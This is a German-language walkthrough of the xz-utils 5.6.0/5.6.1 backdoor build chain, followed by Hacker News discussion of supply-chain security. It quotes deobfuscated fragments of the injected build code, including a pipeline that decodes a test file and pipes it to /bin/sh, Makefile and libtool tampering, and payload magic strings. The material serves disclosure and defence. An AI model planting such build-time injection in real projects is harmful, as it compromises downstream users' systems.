- Der xz-Angriff zerfällt in Shell-Code-Injektion in der
configure-Phase und Injektion von Objektdateien in der make-Phase; diese Analyse verfolgt, wie das Skript in den xz-5.6.0- und 5.6.1-Release-Tarballs eine Backdoor-Objektdatei in den Build einschleust
- Schadcode und Objektdatei waren komprimiert und verschlüsselt wie binäre Test-Eingabedateien in
tests/files versteckt, und die bestehende README-Beschreibung als „von Hand erstellte Testdateien“ machte die Tarnung besonders einfach
- Der in
m4/build-to-host.m4 hinzugefügte Code findet bad-3-corrupt_lzma2.xz, stellt es mit tr und xz -d wieder her und führt es mit /bin/sh aus; in 5.6.1 kommt außerdem ein Erweiterungsmechanismus hinzu, der zusätzliche Skripte in neuen Testdateien sucht
- Das
configure-Skript ändert src/liblzma/Makefile und libtool, sodass auch während make das versteckte Skript erneut ausgeführt wird, und passt -z,now sowie PIC-bezogene Flags an, damit der ifunc-Resolver beim initialen dynamischen Linken ausgeführt wird
- In der
make-Phase wird das bösartige Objekt aus good-large_compressed.lzma extrahiert und entschlüsselt, dann werden die Build-Artefakte von crc64_fast.c und crc32_fast.c ausgetauscht, sodass über _get_cpuid Aufrufe von RSA_public_decrypt abgefangen werden
Gesamtstruktur des Angriffs
- Andres Freund meldete am 2024-03-29 auf der Mailingliste
oss-security@openwall die Existenz des xz-Angriffs
- Bereits am Vortag informierte er auch Debian security und die private Liste
distros@openwall
- Auslöser waren Auffälligkeiten rund um
liblzma bei einer Debian-sid-Installation, nämlich hohe CPU-Last beim SSH-Login und Valgrind-Fehler
- Der Angriff besteht grob aus zwei Phasen
- Während
configure wird Shell-Code eingeschleust
- Dieser Shell-Code injiziert erneut Shell-Code in
make und fügt während make eine bösartige Objektdatei in den Build ein
- Würde man die bösartige Objektdatei direkt als
evil.o im Repository ablegen, würde das leicht Verdacht erregen; daher versteckte der Angreifer Shell-Code und Objektdatei komprimiert und verschlüsselt in binären Test-Eingabedateien
- Das Verzeichnis
tests/files existierte schon vor dem Auftreten von Jia Tan, und die README erklärt, dass die Dateien zum Testen der .xz-, .lzma- und .lz-Decoder-Implementierungen dienen; einige seien sogar direkt mit einem Hex-Editor erstellt worden, weil es „keinen besseren Quellcode als die Datei selbst“ gebe
- Der Angreifer nutzte diesen Kontext aus, damit es so wirkte, als würden lediglich einige neue Testdateien hinzugefügt
Vom Backdoor-Code anvisierter Ausführungspunkt
- Die letztliche Wirkung des Skripts besteht darin, die
_get_cpuid-Funktion der bösartigen Objektdatei als Teil eines GNU indirect function (ifunc) resolvers aufrufen zu lassen
- Ein ifunc-Resolver kann normalerweise verzögert während der Programmausführung aufgerufen werden, doch aus Sicherheitsgründen ist es weit verbreitet, alle Resolver bereits früh beim dynamischen Linken auszuführen und GOT und PLT schreibgeschützt zu mappen
- Der bösartige ifunc-Resolver kann zu einem frühen Zeitpunkt laufen, an dem GOT und PLT noch beschreibbar sind
- Die Backdoor findet in einer Tabelle
RSA_public_decrypt und ersetzt den Eintrag durch die Angreifer-Version
- Die ersetzte Funktion führt Angreifer-Code aus, wenn ein korrektes SSH-Zertifikat präsentiert wird
configure-Phase: Tarnung in build-to-host.m4
- xz-utils verwendet GNU autoconf, und normalerweise sind
configure und die unterstützenden m4-Dateien in der Tarball-Distribution enthalten, nicht im Quell-Repository
- Der Angriff beginnt damit, dass in die xz-5.6.0- und xz-5.6.1-Tarballs die unerwartete Hilfsbibliothek
m4/build-to-host.m4 eingefügt wird
- Das bösartige
build-to-host.m4 enthält im Vergleich zur Standarddatei plausible Änderungen
- Die Serial wird von
3 auf 30 erhöht
- Das Copyright-Jahr wird von
2023 auf 2023-2024 geändert
- Mehrere schwer erkennbare Shell- und m4-Änderungen werden ergänzt
- Der eigentliche Kern ist Code, der mit
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ in der Distribution nach einem bestimmten Muster sucht
- Auf dieses Muster passt die Datei
./tests/files/bad-3-corrupt_lzma2.xz
- Dadurch zeigt
gl_am_configmake am Ende auf diese Testdatei
gl_path_map wird auf tr "\t \-_" " \t_\-" gesetzt und vertauscht Tabulator und Leerzeichen sowie Unterstrich und Bindestrich
Wiederherstellung des ersten versteckten Skripts
gl_[$1]_prefix extrahiert aus dem Dateinamen das letzte Element nach dem Punkt und ergibt damit xz
- Der Name wirkt wie ein Präfix, ist tatsächlich aber die Dateierweiterung
- So entsteht der Name eines Kompressionsbefehls, der auf der Build-Maschine wahrscheinlich bereits installiert ist
- Die danach erzeugte Befehlszeichenkette sieht oberflächlich so aus, als verwende sie
sed "r\n", ist tatsächlich aber näher an einem verschleierten cat
sed mit r\n ist ein Versuch, die nicht existierende Datei \n einzulesen, bewirkt also nichts
- Da
-n fehlt, wird die Eingabe unverändert ausgegeben
- Der tatsächlich ausgeführte Befehl hat folgende Form
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
- Dieser Befehl wird über
AC_CONFIG_COMMANDS während der Ausführung von config.status ausgewertet
- In der wiederhergestellten Ausgabe erscheinen
####Hello#### und ####World####; laut README sind beim bad-3-corrupt_lzma2.xz der erste und dritte Stream gültige xz-Streams, während nur der mittlere Stream beschädigte LZMA2-Daten enthält
Unterschiede zwischen 5.6.0 und 5.6.1
- Das in xz 5.6.0 wiederhergestellte erste Skript schneidet aus
good-large_compressed.lzma einen bestimmten Byte-Bereich heraus, transformiert ihn, entpackt ihn als rohen LZMA-Stream und übergibt ihn an /bin/sh
- Das erste Skript in xz 5.6.1 enthält fünfmal eine Zeile, die bei Nicht-Linux abbrechen soll
[ ! $(uname) = "Linux" ] && exit 0
- Auch in dem langen Skript, das danach analysiert wird, gibt es eine Linux-Prüfzeile nur für 5.6.1
- Diese Zeile hat einen Fehler, weil Leerzeichen um
= fehlen und sie deshalb nicht funktioniert
- In 5.6.1 unterscheiden sich die letzte Byte-Anzahl für
head, der tail-Offset und die tr-Argumente von 5.6.0
- Im Beispiel extrahiert 5.6.1
16×2048+939 = 33,707 Byte
- Anschließend werden mit
tail -c +31233 die letzten 31.233 Byte verwendet
- Die Extraktions-Pipeline besteht aus den folgenden Schritten
- Dekomprimieren von
good-large_compressed.lzma mit xz -dc
- Extraktion eines bestimmten Byte-Bereichs mit einer
head-Pipeline
- Auswahl des hinteren Teils mit
tail
- Anwendung einer einfachen Substitutionschiffre mit
tr
- Entpacken des rohen LZMA-Streams mit
xz -F raw --lzma1 -dc
- Ausführen des Ergebnisses mit
/bin/sh
Erweiterungsmechanismus in 5.6.1
- Im langen Skript gibt es mehrere Stellen, an denen nicht gesetzte Variablen per
eval ausgewertet werden
- Beispiel:
eval $zrKcVq, eval $zrKcSS
- Das könnten Debug-Ausgaben sein oder Erweiterungspunkte, an denen spätere Mechanismen Werte setzen
- Wenn
config.status vorhanden ist, liest das Skript LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map usw.
- Der in 5.6.1 neu hinzugekommene Erweiterungscode sucht in
tests/files nach zwei Magic-Strings
- Start-String:
~!:_ W
- End-String:
|_!{ -
- Befinden sich beide Strings in derselben Datei, werden die Bytes dazwischen extrahiert, über
tr und rohe LZMA2-Dekompression verarbeitet und die Ausgabe per eval ausgewertet
- Dieser Mechanismus wirkt wie eine Struktur, um später neue Skripte in anderen Testdateien zu verstecken, ohne begründen zu müssen, dass bestehende binäre Testdateien erneut erzeugt wurden
Ausführungsbedingungen in der configure-Phase
- Das Skript beendet sich unauffällig, wenn die nötigen Bedingungen für die Backdoor nicht erfüllt sind
- GNU-ifunc-Unterstützung muss aktiv sein
- In
config.status muss ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1" stehen
- In
config.h muss define HAVE_FUNC_ATTRIBUTE_IFUNC 1 vorhanden sein
- Der Build gemeinsamer Bibliotheken muss aktiviert sein
enable_shared muss yes sein
- Das Build-Ziel muss x86-64 Linux sein
build muss die Bedingungen ^x86_64 und linux-gnu$ erfüllen
- Die CRC-ifunc-bezogenen Quellen müssen unverändert vorhanden sein
crc64_fast.c
crc32_fast.c
crc_x86_clmul.h
- Auch Compiler- und Linker-Bedingungen werden geprüft
GCC=yes
CC=gcc
- Die Ausgabe von
LD -v muss GNU ld enthalten
- Die Testdateien mit der Backdoor,
good-large_compressed.lzma und bad-3-corrupt_lzma2.xz, müssen vorhanden sein
Änderungen an Makefile und libtool
- Wenn
debian/rules existiert oder RPM_ARCH=x86_64 gesetzt ist, wird in der configure-Phase Code ausgeführt, der src/liblzma/Makefile verändert
- Zunächst wird geprüft, ob im Makefile mehrere Zeilen vorhanden sind, die später als Einfügestellen dienen
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__uninstall_files_from_dir = {
am__install_max =
am__vpath_adj_setup =
am__include = include
all: all-recursive
LTLIBRARIES = $(lib_LTLIBRARIES)
AM_V_CCLD = $(am__v_CCLD_$(V))
- In
libtool wird geprüft, ob pic_flag=" -fPIC -DPIC" vorhanden ist
- Danach werden mit
sed -i an verschiedenen Stellen im Makefile Zeilen mit folgendem Charakter verstreut eingefügt
am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr ...
am__dist_setup = ... | xz -d ... | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
am__test_dir wirkt vom Namen her wie ein Verzeichnis, verweist tatsächlich aber auf eine Datei
- Die hinzugefügten Zeilen stehen nicht gebündelt an einer Stelle, sondern werden über das Makefile verteilt, damit das erzeugte Makefile plausibel komplex aussieht
Linker-Flags und rekursive Ausführung
- Das Skript in der
configure-Phase fügt liblzma_la_LDFLAGS den Wert -Wl,--sort-section=name,-X hinzu
- Wenn in den bestehenden
LDFLAGS weder -z,now noch -z -Wl,now vorkommt, wird außerdem -z,now hinzugefügt
-Wl,now sorgt dafür, dass der dynamische Loader beim Programmstart alle Symbole auflöst, und erzwingt damit das Verhalten von LD_BIND_NOW
- Dabei wird der ifunc-Resolver bereits beim Start ausgeführt
- Die Backdoor kann somit laufen, solange GOT und PLT noch beschreibbar sind
- Die PIC-Flags in
libtool werden wie folgt geändert
- Vorher:
-fPIC -DPIC
- Nachher:
-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
- Das Skript fügt außerdem
AM_V_CCLD und ein langes Shell-Fragment in das Makefile ein
- Am Ende wird
sed rpath $(am__test_dir) | $(am__dist_setup) ausgeführt
- Auch
sed rpath fungiert als verschleiertes cat
- Dadurch wird während
make erneut effektiv die folgende Pipeline ausgeführt
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh
make-Phase: Extraktion der Objektdatei
- In der
make-Phase wird das Skript im Verzeichnis src/liblzma erneut ausgeführt
- Da sich
config.status nicht im aktuellen Verzeichnis befindet, wird der Teil zur Bearbeitung des Makefiles aus der configure-Phase übersprungen
- Stattdessen wird angenommen, dass man sich in der
make-Phase befindet, wenn .libs/liblzma_la-crc64_fast.o und .libs/liblzma_la-crc32_fast.o existieren, und dann wird der nächste Code ausgeführt
- In 5.6.1 kommt zusätzlich ein Erweiterungs-Hook für die
make-Phase hinzu
- Start-String:
jV!.^%
- End-String:
%.R.1Z
- Es gibt keine Testdatei mit diesen Strings; es wirkt wie eine Struktur für spätere Erweiterungen
- Es wird erneut geprüft, ob die CRC-ifunc-bezogenen Quellen dem Erwarteten entsprechen
- Außerdem wird kontrolliert, ob die in der
configure-Phase hinzugefügten Compiler- und Linker-Flags tatsächlich angewendet wurden
../../libtool muss die zusätzlichen PIC-Flags enthalten
liblzma_la_LINK muss -z,now oder -z -Wl,now enthalten
- Wenn
lazy vorkommt, wird abgebrochen
Entschlüsselung und Auswahl des bösartigen Objekts
- Das Skript wählt abhängig vom Inhalt von
gettext.m4 einen von zwei Offset-Werten
- Da die Prüfkette in
gettext.m4 des veröffentlichten xz-Tarballs nicht vorkommt, wird im Beispiel-Build die gesamte Eingabe verwendet
good-large_compressed.lzma wird erneut dekomprimiert, und mit der zuvor gesetzten head-Pipeline i werden 33.707 Byte extrahiert
- Diese Ausgabe wird in einzelne Bytes zerlegt, und anschließend führt
awk eine RC4-ähnliche Entschlüsselungsfunktion aus
- In Version 5.6.1 läuft die zweite Schleife bis 8192
- In Version 5.6.0 läuft die Schleife an derselben Stelle nur bis 4096
- Die entschlüsselte Ausgabe wird anschließend nochmals mit
xz -dc --single-stream dekomprimiert
--single-stream stoppt am ersten xz-EOF-Marker und verhindert damit, dass der zuvor mit tail extrahierte Bereich gelesen wird
- Das Endergebnis wird in
liblzma_la-crc64-fast.o geschrieben
Austausch der CRC-Objekte
- Das Skript sichert zunächst das echte Build-Artefakt
.libs/liblzma_la-crc64_fast.o unter dem ähnlich benannten .libs/liblzma_la-crc64-fast.o
- Dabei wird der Unterschied zwischen Unterstrich (
crc64_fast) und Bindestrich (crc64-fast) ausgenutzt
- Danach kompiliert es eine per
sed veränderte Version von crc64_fast.c und verwendet dabei zusätzlich das extrahierte bösartige Objekt liblzma_la-crc64-fast.o, um .libs/liblzma_la-crc64_fast.o zu überschreiben
- Der eingefügte C-Code erzeugt
_is_arch_extension_supported neu und ruft darin _get_cpuid auf
- Das bestehende
crc64_resolve wird so geändert, dass es statt is_arch_extension_supported() nun _is_arch_extension_supported() aufruft
_get_cpuid ist eine Funktion aus der Backdoor-Objektdatei und führt vor der Rückgabe der cpuid-Informationen zusätzliche Aktionen aus
- Insbesondere verändert sie GOT und PLT, um Aufrufe von
RSA_public_decrypt abzufangen
Verarbeitung auf der crc32-Seite und Aufräumen
- Wenn die Änderung an crc64 erfolgreich ist, wendet das Skript ähnliche Änderungen auch auf
crc32_fast.c an
- Auf der crc32-Seite wird jedoch keine Backdoor-Objektdatei hinzugefügt
- So wird vermieden, das Backdoor-Objekt zweimal in den Build einzubringen
- Warum sowohl crc32- als auch crc64-ifunc abgefangen werden, ist nicht klar
- Die Analyse meint, dass eines von beiden eigentlich ausreichen würde
- Möglicherweise sollte es im Debugger so aussehen, als wären beide Dispatch-Codes ähnlich
- Wenn beide Kompilierungen erfolgreich sind, wird mit
liblzma_la_LINK die .la-Datei neu gelinkt
- War das Linken erfolgreich, aber
.libs/liblzma.so fehlt, wird das als Fehler behandelt und das Backup wiederhergestellt
- Unabhängig vom Erfolg werden
.libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so* gelöscht
- Dabei wird vorausgesetzt, dass der ursprüngliche Link-Schritt des Makefiles sie anschließend neu erzeugt
- Im Fehlerpfad werden die gesicherten crc32- und crc64-Objekte unter ihren ursprünglichen Namen zurückkopiert
- Zum Schluss werden temporäre und Backup-Dateien gelöscht, sodass das bösartige Objekt in die
make-Artefakte injiziert wird, ohne Spuren zu hinterlassen
1 Kommentare
Meinungen auf Hacker News
Als jemand, der autotools schon lange nicht leiden kann, würde ich gern sagen, dass dieser Vorfall meine Haltung bestätigt. Aber ein Build-System, das komplex genug ist, um mehrere Plattformen zu unterstützen, wird zwangsläufig undurchschaubar genug, dass jemand so etwas einschleusen kann.
Trotzdem ist es wirklich ein Problem, dass viel Software im Grunde mit riesigen Cargo-Cult-Shell-Skripten gebaut wird, die als Ganzes praktisch niemand versteht.
Wären Build-Skripte in Python geschrieben, wäre es deutlich schwieriger gewesen, die Backdoor zu verschleiern. Allen wäre aufgefallen, dass der Code seltsam ist. Bei bash-Code neigt man dazu, ihn einfach als normal anzusehen, auch wenn man ihn nicht lesen kann.
./configure && make && make installerledigen ließ.Die Komplexität wurzelt darin, dass es für diesen Ablauf völlig an Best Practices fehlt. Unter diesen Bedingungen lässt sich das nicht mit einer einzelnen Build-Konfiguration wie
mybuild.tomllösen.Außerdem frage ich mich, warum man ein komplexes System braucht, um etwas wie eine Kompressionsbibliothek zu bauen, die im Kern eigentlich nur Mathematik und Speicherallokation betreibt.
Als Entwickler ist es erstaunlich, und es zeigt, dass etwas, das in meinen Augen wie eine Angriffsmethode der Spitzenklasse wirkt, für Leute, die auf dieser Ebene arbeiten, wahrscheinlich nur mittleres bis fortgeschrittenes Niveau ist.
Auf HN tauchen Dinge auf, die noch deutlich anspruchsvoller sind. Daher sehe ich das nur als Anfang dessen, was möglich ist, wenn genug Geld oder andere Anreize vorhanden sind. Wenn man an die zahllosen Pakete auf GitHub und die Millionen Bibliotheken denkt, ist dieser Vektor so effektiv, dass ich sicher bin, dass in den nächsten Monaten Hunderte ähnlicher Fälle ans Licht kommen werden.
Ich mache mir Sorgen um Anbieter von Consumer- und Prosumer-Hardware, von Philips Hue über Alexa, SumUp, Kamerahersteller bis hin zu Netgear und TP-Link. Ihre Produkte sind voll mit Open-Source-Bibliotheken, und ich bin zu 100 % sicher, dass die meisten Entwicklungsteams keine Zeit damit verbringen, nach solchen verdeckten Injektionsvektoren zu suchen.
Eine kommerzielle Organisation, die Zuverlässigkeit verspricht, führt vor der Übernahme von Abhängigkeiten eine Supply-Chain-Analyse durch. Deshalb bezahlt man üblicherweise Red Hat für die Pflege einer stabilen Linux-Distribution, und deshalb beschränken Projekte wie FreeBSD die Software, die in der Standardinstallation enthalten ist, sehr stark.
Wenn man von diesem Vorfall betroffen war, ist das bedauerlich, aber es ist die eigene Verantwortung. Wenn man befürchtet, dass ein Entwickler von Software, die man wie Freibier kostenlos nutzt, plötzlich die Seiten wechselt, muss man ihm Anreize geben, es nicht zu tun – also bezahlen – oder das Projekt forken und eigene Sicherheitsmaßnahmen daraufsetzen.
Wenn man sich Sorgen macht, dass es bei Abhängigkeiten kommerzieller Software zu Supply-Chain-Angriffen kommt, sollte man Verträge aushandeln, die auch den Ausgleich solcher Schäden einschließen. Wer dazu nicht bereit ist, handelt nicht professionell.
Nebenbei: Ich meine ernsthaft, dass man auch bei den grundlegendsten Abhängigkeiten wie SSH die Supply Chain prüfen muss.
Die frühen InfoSec-Beiträge konnten nur Teile des Codes erklären und behandelten nicht die gesamte Strategie des Angriffs. Das lag daran, dass Angriff und Code ausgefeilt waren. Dass frühe Analysen den Angriff unterschiedlich beschrieben, lag ebenfalls daran, dass er nicht einfach zu verstehen war. Erst später kamen Beiträge nach dem Motto: „Jetzt sieht es endlich nach einem Angriff zur Remote Code Execution aus.“
Inzwischen gibt es sogar Scanner, die die Schwachstelle auf Servern erkennen. Dadurch können jetzt alle sagen: „Ach, das war doch ein viel zu einfacher und dummer Angriff, warum hat man ihn nicht früher gefunden?“
Das gilt für alle Geräte gleichermaßen. Ich mag auch nicht, dass Android alte Kernel verwenden muss, und ich fand es ebenfalls nicht gut, dass macOS auf einer veralteten Darwin/BSD-Linie lief. Der Aufwand für Backports macht mir Sorgen.
Natürlich heißt das nicht, dass Open Source keine Schwachstellen hat.
Vielleicht sollte man sich eher vor unsichtbaren Backdoors in proprietärer Software fürchten, die fast nie entdeckt werden.
Die Infografik von Thomas Roccia scheint hier noch nicht erwähnt worden zu sein: https://twitter.com/fr0gger_/status/1774342248437813525
Zum Beispiel hat oss-fuzz das GitHub-Repository direkt geklont und xz daraus gebaut. Die Backdoor befand sich nicht im Repository, sondern nur im Tarball, daher hatte oss-fuzz keine Chance, die Backdoor zu finden. Entsprechend könnte dieser oss-fuzz-PR auch eine echte Änderung gewesen sein, die nichts mit der Backdoor zu tun hatte.
Wie wahrscheinlich ist es, dass es im Umfeld von Andreas Freund ein weiteres Konto oder eine weitere Person gab, die früher davon erfahren hat, dass die Backdoor öffentlich gemacht werden würde? Das lässt mich weiterhin an die Möglichkeit denken, dass es dort noch andere Insider gibt.
.gitignore-Datei ein Ignore-Eintrag hinzugefügt wurde. So etwas ist heutzutage schwer zu erkennen.Aus der Sicht eines naiven Beobachters ist das hier der auffälligste Teil:
„Viele Dateien wurden von Hand mit einem Hex-Editor erzeugt, daher gibt es keinen besseren ‚Source Code‘ als die Dateien selbst.“ Bei Parsing-Bibliotheken wie liblzma kann ich verstehen, dass das so sein kann. Für den Angreifer dürfte es einfach so ausgesehen haben, als würden ein paar neue Testdateien hinzugefügt.
Die Dateien selbst sind zwar beängstigend, aber ich verstehe den Grund. Trotzdem müsste man sie doch zumindest vom Build trennen können.
„Üblicherweise werden das configure-Skript und unterstützende Bibliotheken nicht dem Source-Repository hinzugefügt, sondern nur dem Tarball-Release. Bei xz ist die Distribution genauso aufgebaut.“
Den obligatorischen Ärger über autotools einmal beiseite: Ich verstehe nicht, warum Testdateien in einen Tarball gehören müssen. Bösartige Tests könnten zwar auch Entwickler-Maschinen infizieren, aber wenn ein Tarball dazu da ist, das finale Artefakt zu bauen, sollte doch die Regel gelten, nur das Nötige aufzunehmen. Erst recht, wenn die Testdateien nicht auditierbare binäre Klumpen sind.
Als wir das zuletzt so gemacht haben, haben wir allerdings das Upstream-Git bevorzugt und die nötigen autoconf-Artefakte selbst erzeugt. Das Konzept eines Release-Tarballs, der Dinge enthält, die nicht in Git sind, hat mir nie gefallen.
Man muss den Code auf der Zielmaschine kompilieren und anschließend Tests ausführen können.
„Der erste Unterschied besteht darin, dass das Skript auf jeden Fall, wirklich ganz sicher beendet wird, wenn es nicht unter Linux läuft.“
Die wiederholten Prüfungen sind tatsächlich rätselhaft. Meine Hypothese ist, dass der Angreifer die Wiederholungen eingebaut haben könnte, damit es plausibel wie eine Testeingabe für eine Kompressionsbibliothek aussieht.
Oder es war einfach Faulheit.
Es wirkt absichtlich, aber ich weiß nicht, warum es da ist. Ich dachte, vielleicht wurde es hinzugefügt, um die Größe aufzufüllen, weil xz die Kompression überspringt, wenn die Eingabe zu kurz oder nicht komplex genug ist. Aber nachdem ich es entfernt und erneut mit xz komprimiert hatte, wurde es korrekt komprimiert, und der ursprüngliche Klartext blieb nicht in den Bytes des komprimierten Archivs zurück.
Beim Versuch, die exakten Bytes der in Git committeten
.xz-Datei zu reproduzieren, habe ich herausgefunden, dass der xz-Stream dieses Skripts offenbar nicht mit einem Standard-xz-Preset komprimiert wurde. Ich musstexz --lzma2=dict=65536 -c stream_2verwenden, um ihn zu reproduzieren; alle Standard-Presets mit Nummern wählten andere Wörterbuchgrößen. Auch das wirkt absichtlich, aber den Grund habe ich nicht verstanden.Ohne die Wiederholung wäre in der komprimierten Datei vielleicht irgendein seltsames Binary entstanden, das Security-Tools oder Virenscanner anschlägt.
Tragisch komisch ist, dass moderne Technik extrem komplex und unnötig undurchschaubar geworden ist, und es wird immer schlimmer. Es wirkt, als hätten Entwickler eine sadistische Freude daran.
Es ist ziemlich erstaunlich, dass die Tools mit der wachsenden Komplexität der Produkte mithalten, die wir bauen. Ehrlich gesagt wird in den meisten Fällen einfach alles eher einfacher; es ist wohl eher so, dass die Leute keine Lust haben, Neues zu lernen.
Wer auch immer diese Leute angeheuert hat, um dieses Projekt zu infiltrieren, muss enorm viel Zeit investiert haben, damit es lange unentdeckt bleibt. Zum Glück war es zu komplex, sodass nicht alle Faktoren bedacht wurden.
Deshalb glaube ich, dass Open Source in puncto Sicherheit immer besser sein wird als Closed Source. Natürlich hat dieser Vorfall eine massive Schwachstelle in der Supply Chain offengelegt und auch gezeigt, wie sehr grundlegende Bausteine von FOSS unterschätzt werden und wie anfällig Maintainer für Manipulation sind.
Aber was wäre, wenn derselbe Angriff innerhalb eines Privatunternehmens passiert wäre? Wahrscheinlich hätte es nicht einmal ausgefeilter Obfuskation bedurft. Mit einem ausreichend großen PR und einer nahenden Deadline könnte man so etwas mit minimalem Aufwand heimlich in Produktionssysteme einschleusen. Bis das Unternehmen merkt, was passiert ist, wäre man längst in ein Land ohne Auslieferungsabkommen geflogen und würde die geleakten Daten über Tor oder im Dark Web verkaufen.
Wenn man bei einem Privatunternehmen eingestellt wird, weiß das Unternehmen, wer man ist. Das ist an sich schon eine unmittelbare Abschreckung gegen verdächtiges Verhalten. Auf GitHub weiß niemand, wer man ist. Es mag schwieriger sein, unentdeckt eine Backdoor in ein Projekt einzubauen, aber wenn man erwischt wird, trägt man kein Risiko. Man kann es so oft versuchen, wie man will. Jia Tan wurde immer noch nicht gefasst und musste auch nicht sein ganzes Leben darauf ausrichten, in einem Land ohne Auslieferungsabkommen zu leben. Es sei denn, er war ohnehin schon dort.
Und selbst wenn man einmal drin ist, kann man nicht nach Belieben in das Zielprojekt committen. Der Manager und dessen Manager haben andere Prioritäten. Das oft dysfunktionale Management gewinnorientierter Unternehmen wirkt hier sogar als Abschreckung. Man muss nicht nur den Code selbst rechtfertigen, sondern auch erklären, warum man überhaupt an dieser Aufgabe gearbeitet hat.
Selbst Länder mit angespannten Beziehungen können ausliefern, wenn es politisch opportun ist, etwa als Teil einer Verhandlung. Russland hätte Snowden vermutlich auch nicht behalten, wenn er keine Staatsgeheimnisse offengelegt hätte. Wäre es nur ein gewöhnlicher Datenabfluss gewesen, hätte man ihn vielleicht gegen einen Oligarchen getauscht, der anderswo wegen Geldwäsche festgenommen wurde.
Allein eine Liste zu erstellen, wäre schon nützlich.
Die Lehre aus diesem Vorfall könnte sein, dass man zentralen Beitragenden wichtiger Open-Source-Projekte vielleicht keine Anonymität erlauben sollte. Dieser Angriff war erfolgreich, und der Angreifer wird vermutlich ohne Konsequenzen davonkommen, weil er anonym war.
Eine solche Maßnahme würde nicht helfen, und staatliche Akteure oder ähnliche Advanced Persistent Threats könnten sie leicht umgehen, indem sie der Angriffskette einfach noch Identitätsdiebstahl hinzufügen oder Agenten einsetzen, die auch dann geschützt sind, wenn eine Backdoor entdeckt wird.
Gleichzeitig würden die technischen Hürden, die für solche Verfahren nötig wären, der gesamten Open-Source-Community wahrscheinlich erheblich schaden.
Die Lösung besteht darin, aus diesem Angriff zu lernen und Praktiken so zu ändern, dass ähnliche Angriffe schwieriger werden. Dateien, die nicht im Repository sind, sollten niemals in Release-Tarballs gelangen. Der daraus erzeugte Code sollte vollständig eingecheckt werden, und Build-Skripte sollten abgeleiteten Code erneut erzeugen und fehlschlagen, wenn er vom eingecheckten Code abweicht. Schwer verständliche Daten sollten während des Release-Build-Prozesses nicht zugänglich sein, und Tests, die von binären Daten abhängen, sollten vollständig getrennt von den Release-Binaries gebaut werden.
Erstens bevorzugen viele wichtige Beitragende, insbesondere im Sicherheitsbereich, aus guten Gründen pseudonymes Arbeiten. Wenn man sie zwingt, ihre Identität offenzulegen, vertreibt man sie.
Zweitens: Wenn, wie viele vermuten, ein Geheimdienst dahintersteckt, kann so eine Organisation ohnehin „echte“ Identitäten erzeugen. Am Ende schließt man hilfreiche Menschen aus, aber nicht die Angreifer.
Wenn eine Regierung beteiligt ist, gibt es keine Grenzen. Die einzige Möglichkeit wäre, physische Anwesenheit an einem vertrauenswürdigen Ort zu verlangen und dann zu hoffen, dass dieser Ort nicht der Gerichtsbarkeit des Angreifers unterliegt.
Wenn jemand eine Bibliothek erstellt und andere anfangen, sie zu nutzen, wird diese Person dann gezwungen, ihre Identität offenzulegen? Wird der Maintainer bezahlt?
Wer schon einmal in der Softwareentwicklung gearbeitet hat, ob Closed oder Open Source, weiß, dass Entwickler PRs zur Hälfte einfach aus Bequemlichkeit abnicken. Linus Torvalds ist eher die seltene Ausnahme, die den ganzen Tag auf Probleme hinweist.
Wenn jemand tatsächlich so anspruchsvoll ist, dass er gründlich darauf achtet, gilt diese Person schnell als nerviger Blockierer der Entwicklung. Weil sie pingelig ist, entstehen Spannungen im Team.
Zur Offenlegung: Ich bin derzeit in einer ähnlichen Situation. Nicht ich bin der pingelige Teil, sondern einer der Entwickler, die ich eingestellt habe. Leider wurde sein gewissenhaftes Verhalten nicht gut aufgenommen, sodass ich ihn aus dem Team nehmen musste. Dass er aus Osteuropa kommt und Feedback sehr direkt gibt, hat auch nicht geholfen.
Unix-Utilities sind seit Langem erprobt. Ich wünschte, der Kernel und die zentralen Utilities würden eingefroren und nicht mehr verändert, sofern es nicht wirklich nötig ist.
Wenn es nicht kaputt ist, repariere es nicht. Das Software-Imperium wirkt außer Kontrolle.
Es gibt gelegentlich glänzende Beispiele dafür, dass etwas richtig gebaut wurde, aber insgesamt kann man wohl sagen, dass solche Dinge völlig verdrängt wurden.